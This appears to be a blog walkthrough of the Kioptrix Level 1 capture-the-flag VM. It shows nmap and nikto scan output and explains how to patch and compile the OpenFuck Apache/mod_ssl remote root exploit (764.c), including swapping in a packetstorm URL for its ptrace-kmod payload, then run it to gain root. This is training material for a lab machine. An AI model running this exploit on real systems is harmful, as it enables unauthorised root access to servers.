Skip to content
James Bower
James Bower

Quantitative AI Security

  • Tools
  • Audit
  • Guides
  • Courses
  • Newsletter
James Bower

Quantitative AI Security

Kioptrix Level 1 Hacking Challenge Walkthrough

James Bower, August 13, 2014April 21, 2023

This is a walkthrough for Kioptrix Level 1. Although getting root on this box is pretty straightforward it’s a great place for those looking to get their feet wet when it comes to boot2root VM’s. I actually suggest this as a starting place rather than something like Metasploitable2, which is almost overwhelming with it’s list of vulnerabilities.The Kioptrix Level 1 VM can be downloaded from http://vulnhub.com/entry/kioptrix-level-1-1,22/

Footprinting:

After loading up the VM I used netdiscover -r to find it’s IP address which was 192.168.2.90

Scanning:

Now it’s time to use Nmap to grab info about what ports and services are available.

root@moriarty:~# nmap -sV -P0 -A 192.168.2.90
Starting Nmap 6.46 ( http://nmap.org ) at 2014-08-13 11:42 EDT
Nmap scan report for 192.168.2.90
Host is up (0.00069s latency).
Not shown: 994 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 2.9p2 (protocol 1.99)
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
|_sshv1: Server supports SSHv1
80/tcp open http Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
| http-methods: Potentially risky methods: TRACE
|_See http://nmap.org/nsedoc/scripts/http-methods.html
|_http-title: Test Page for the Apache Web Server on Red Hat Linux
111/tcp open rpcbind 2 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2 111/tcp rpcbind
| 100000 2 111/udp rpcbind
| 100024 1 32768/tcp status
|_ 100024 1 32768/udp status
139/tcp open netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp open ssl/http Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
| http-methods: Potentially risky methods: TRACE
|_See http://nmap.org/nsedoc/scripts/http-methods.html
|_http-title: Test Page for the Apache Web Server on Red Hat Linux
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Not valid before: 2009-09-26T08:32:06+00:00
|_Not valid after: 2010-09-26T08:32:06+00:00
|_ssl-date: 2014-08-13T19:43:04+00:00; +3h59m58s from local time.
| sslv2:
| SSLv2 supported
| ciphers:
| SSL2_DES_192_EDE3_CBC_WITH_MD5
| SSL2_RC2_CBC_128_CBC_WITH_MD5
| SSL2_RC4_128_WITH_MD5
| SSL2_RC4_64_WITH_MD5
| SSL2_DES_64_CBC_WITH_MD5
| SSL2_RC2_CBC_128_CBC_WITH_MD5
|_ SSL2_RC4_128_EXPORT40_WITH_MD5
32768/tcp open status 1 (RPC #100024)
| rpcinfo:
| program version port/proto service
| 100000 2 111/tcp rpcbind
| 100000 2 111/udp rpcbind
| 100024 1 32768/tcp status
|_ 100024 1 32768/udp status
MAC Address: 08:00:27:C4:86:B7 (Cadmus Computer Systems)
Device type: general purpose
Running: Linux 2.4.X
OS CPE: cpe:/o:linux:linux_kernel:2.4
OS details: Linux 2.4.9 - 2.4.18 (likely embedded)
Network Distance: 1 hop
Host script results:
|_nbstat: NetBIOS name: KIOPTRIX, NetBIOS user: , NetBIOS MAC: (unknown)
TRACEROUTE
HOP RTT ADDRESS
1 0.69 ms 192.168.2.90
OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.77 seconds

The first thing I noticed is that most of these services are pretty out dated which is good news. The second thing that grabs my attention is the version of Apache that is being run. There are clearly several different services running that may provide a foothold into the box but I decided to stick with Apache since it caught my eye. I fire up Iceweasel and find a default looking Apache page running on the webserver. Now to run Nikto to see what kind of information it can gather about the webserver.

Enumeration:

root@moriarty:~# nikto -h 192.168.2.90

Gaining Access:

Ok so the first thing that Nikto returns is

+ Server: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b

I do a simple Google search to see if there are any obvious exploits that fit my needs.

Well the first result seems to fit the bill quite well. Now I’m going to use searchsploit to see if I’ve already got this exploit.

root@moriarty:~# searchsploit apache openssl
Description Path
————————————————————- ———————————-
Apache OpenSSL – Remote Exploit (Multiple Targets) (OpenFuck | /linux/remote/764.c

Alright, now it’s time to copy this into my /tmp/exploit directory and see what we’ve got.

Ok so the very first section gives us what we need.

/*
* http://paulsec.github.io/blog/2014/04/14/updating-openfuck-exploit/
*
* OF version r00t VERY PRIV8 spabam
* Compile with: gcc -o OpenFuck OpenFuck.c -lcrypto
* objdump -R /usr/sbin/httpd|grep free to get more targets
* #hackarena irc.brasnet.org
*/

If you try to compile this without changing the code you'll end up with a bunch of errors and issues.

badcompile

Luckily the paulsec write up is very straight forward. So here are the changes I made.

Here are the steps I used to get this to compile in VI.
1) Add these two headers:
#include
#include

2) Update the URL of the C file:
Search for packetstorm and replace the URL with the following

http://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c

3) Install the libssl-dev library if you don't have it already:

apt-get install libssl-dev

4) Update the declaration of variables:
Search for
unsigned char *p
and change it to
const unsigned char *p, *end;
5) Compile the code and Bob's your uncle:
To compile:
gcc -o exploit 764.c -lcrypto
goodcompile

So the exploit compiled without any issues this time. Now it’s time to move in for the kill.

root@moriarty:/tmp/exploit# ./exploit | grep -i redhat | grep “1.3.20”

grepexploit

This shows me that I’ve got two options for this exploit so I first try the 0x6a but it doesn’t quite work out.

1stattempt

So I try the 2nd which is 0x6b and decide to add a range of 40 connections for a better shot at getting this to work.

2ndattempt

And there it is. Root access on Kioptrix Level 1. Feel free to leave feedback and questions in the comments.

And as always, thank you for taking the time to read this. If you have any comments, questions, or critiques, please reach out to me on our FREE ML Security Discord Server – HERE

CTF Boot2RootHackingHacking ChallengeKioptrixNiktoNmapSecurity

Post navigation

Previous post
Next post

Related Posts

CTF

SkyDog Con CTF – The Legend Begins

November 2, 2015April 21, 2023

Sky Dog Con CTF – Over but not forgotten. Download Linkhttps://download.vulnhub.com/skydog/SkyDogCTF.ova InstructionsThe CTF is a virtual machine and works best in Virtual Box. This OVA was created using Virtual Box 4.3.32. Download the OVA file open up Virtual Box and then select File –> Import Appliance. Choose the OVA file…

Read More
CTF

SkyDog Con 2016 CTF – Walk Through Guide

October 23, 2016April 21, 2023

Download LinkThe VM is now available for download on Vulnhub at the link below. InstructionsThe CTF is a virtual machine and works best in Virtual Box. Download the OVA file open up Virtual Box and then select File –> Import Appliance. Choose the OVA file from where you downloaded it….

Read More
CTF

Double Kill – Hacker’s Dome CTF Walk Through Part 1

July 28, 2014April 21, 2023

This past weekend our Quantum Security CTF Team (consisting of Kamil @vavkamil and myself @jamesbower ) competed on the Hacker’s Dome – Double Kill CTF.  The competition consisted of two vulnerable machines with each containing both a user flag and a super user (root) flag.  We were able to capture…

Read More

Leave a Reply Cancel reply

You must be logged in to post a comment.

  • Twitter
  • GitHub
  • YouTube
  • LinkedIn

Videos

https://www.youtube.com/watch?v=FEb8KZoEyzI&t=1291s

Categories

  • Active Defense
  • Anomaly Detection
  • AWS
  • Books
  • Business
  • CTF
  • Decision Intelligence
  • Deep Learning
  • Detection Engineering
  • EDA
  • Entity Recognition
  • Health
  • Linux
  • LLM
  • Machine Learning
  • Memory Forensics
  • NIDS
  • NLG
  • NLP
  • Operating Systems
  • Productivity
  • Python
  • Quantitative Security
  • Security Tools
  • Sentiment Analysis
  • Tech
  • Text Analytics
  • Threat Hunting
  • Threat Intelligence
  • Topic Modeling
  • UEBA

Recent Posts

  • Detection Rule Staleness: How AI Can Solve This Now
  • How to Think About Low-Latency Development with Python
  • Managing Noise In AI Security Machine Learning
  • Dimensionality Reduction: Find the Best Method for Your Data
  • Improved Anomaly Detection in Cybersecurity using Model Cascading

Tags

Apache BERT Boot2Root classification Conda Data Augmentation ddos Diet Dirb Ensemble ETL featured Firewall FreeBSD GPT-3 Hacking Hacking Challenge Htop Kioptrix LiME LLM low-latency Miniconda Mod_jk Monitoring NetworkMiner Nikto NLP NLTK Nmap Nokia 770 OpenAI OpenBSD PCAP pdfminer Peak Performance PF recon Security SSM Tomcat Volatility VSCode Word2Vec xgboost

Archives

  • April 2026
  • November 2024
  • October 2024
  • June 2024
  • October 2023
  • September 2023
  • August 2023
  • May 2023
  • April 2023
  • February 2023
  • March 2020
  • June 2019
  • July 2018
  • May 2018
  • August 2017
  • June 2017
  • February 2017
  • November 2016
  • October 2016
  • September 2016
  • April 2016
  • March 2016
  • November 2015
  • August 2015
  • June 2015
  • February 2015
  • September 2014
  • August 2014
  • July 2014
  • January 2014
  • June 2013
  • January 2012
  • September 2009
  • August 2009
  • September 2008
  • September 2006
©2026 James Bower | WordPress Theme by SuperbThemes